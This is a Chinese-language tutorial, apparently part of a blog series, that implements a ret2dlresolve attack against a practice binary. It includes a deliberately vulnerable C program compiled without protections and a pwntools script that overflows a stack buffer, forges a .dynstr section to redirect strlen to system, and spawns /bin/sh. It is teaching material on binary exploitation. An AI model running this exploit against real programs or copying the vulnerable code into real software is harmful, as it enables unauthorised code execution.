在上一篇文章,我們說明整個攻擊手法,而這篇文章將會實作 ret2dlresolve。
以下為本篇所使用的範例程式
#include<stdio.h>
#include<string.h>
#include<unistd.h>
void vuln() {
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main() {
vuln();
char buf[100] = "Hello\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
return 0;
}
使用以下指令編譯程式
gcc -no-pie -fno-stack-protector -z norelro -o ret2dl ret2dl.c
我們使用 -z norelro
將 RELRO 保護機制關閉作為練習。
可以看到在 vuln() 有 Stack Buffer Overflow 的漏洞,將透過此構造我們需要的 ROP 鏈。
接著,如同上一篇文章的說明,我們將構造一個假的 .dynstr
段將原本的 strlen 函數替換為 system,執行 system("/bin/sh")。我們需要將假的 .dynstr
以及 "/bin/sh" 寫入 BSS 段。
bss_addr = elf.bss()
首先,我們取得了 .bss 段的地址,這是我們用來放置 /bin/sh 和 fake_dynstr 的位置。
dynstr = elf.get_section_by_name('.dynstr').data()
fake_dynstr = dynstr.replace(b'strlen', b'system')
這裡我們獲取了 .dynstr 段的資料,這個段落保存了所有動態符號的名稱,比如 strlen 等函數的名稱。我們會替換其中的字串將 strlen 字串替換為 system。
target_func = 0x401046
strtab_addr =elf.get_section_by_name('.dynstr').header.sh_addr
target_func 是我們要跳轉的函數地址,我們選用 strlen,而 strtab_addr 則是 .dynstr 段的起始位置,我們需要將假資料寫入到相應的位置。
padding = b'A' * (0x70+8)
rop = ROP(context.binary)
rop.read(0, bss_addr)
rop.read(0, strtab_addr)
原先我們都是透過 ROPgadget,不過其實 Pwntools 有一個函數為ROP(context.binary),可以從目標二進制檔案(ELF 格式)中自動分析並找到各種 ROP gadgets,我們這次直接使用他來構造 ROP。
padding 是用來填充 buf 的,這樣我們可以溢出並控制返回地址。接下來,我們構建了一個 ROP 鏈來利用 read() 函數將資料寫入 .bss 段和 .dynstr 段。這樣我們就可以在 .bss 段中寫入 /bin/sh,並將我們的 fake_dynstr 段寫入到動態解析器會讀取的地方。
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
rop.raw(pop_rdi)
rop.raw(bss_addr)
rop.raw(target_func)
這段程式碼透過 ROP 工具尋找 pop rdi; ret 的 gadget,然後將 /bin/sh 的地址傳遞給 strlen 函數。最後,將控制流轉交給 strlen 函數,然而因為被我們篡改成 fake_dynstr,因此會執行 system
payload = flat(padding, rop.chain())
r.sendline(payload)
我們將整個 ROP 鏈和 padding 組合起來,發送給程式。使用 rop.chain() 會將上述所有的 rop 全部串在一起。
r.sendline(flat(b'/bin/sh'.ljust(8, b'\x00'), fake_dynstr))
r.sendline(fake_dynstr)
透過剛剛的 read,我們將發送 /bin/sh 並將其放在 .bss 段中,然後將構造好的 fake_dynstr 發送給程式。最終,我們進入互動模式,從而達到控制程式的目的。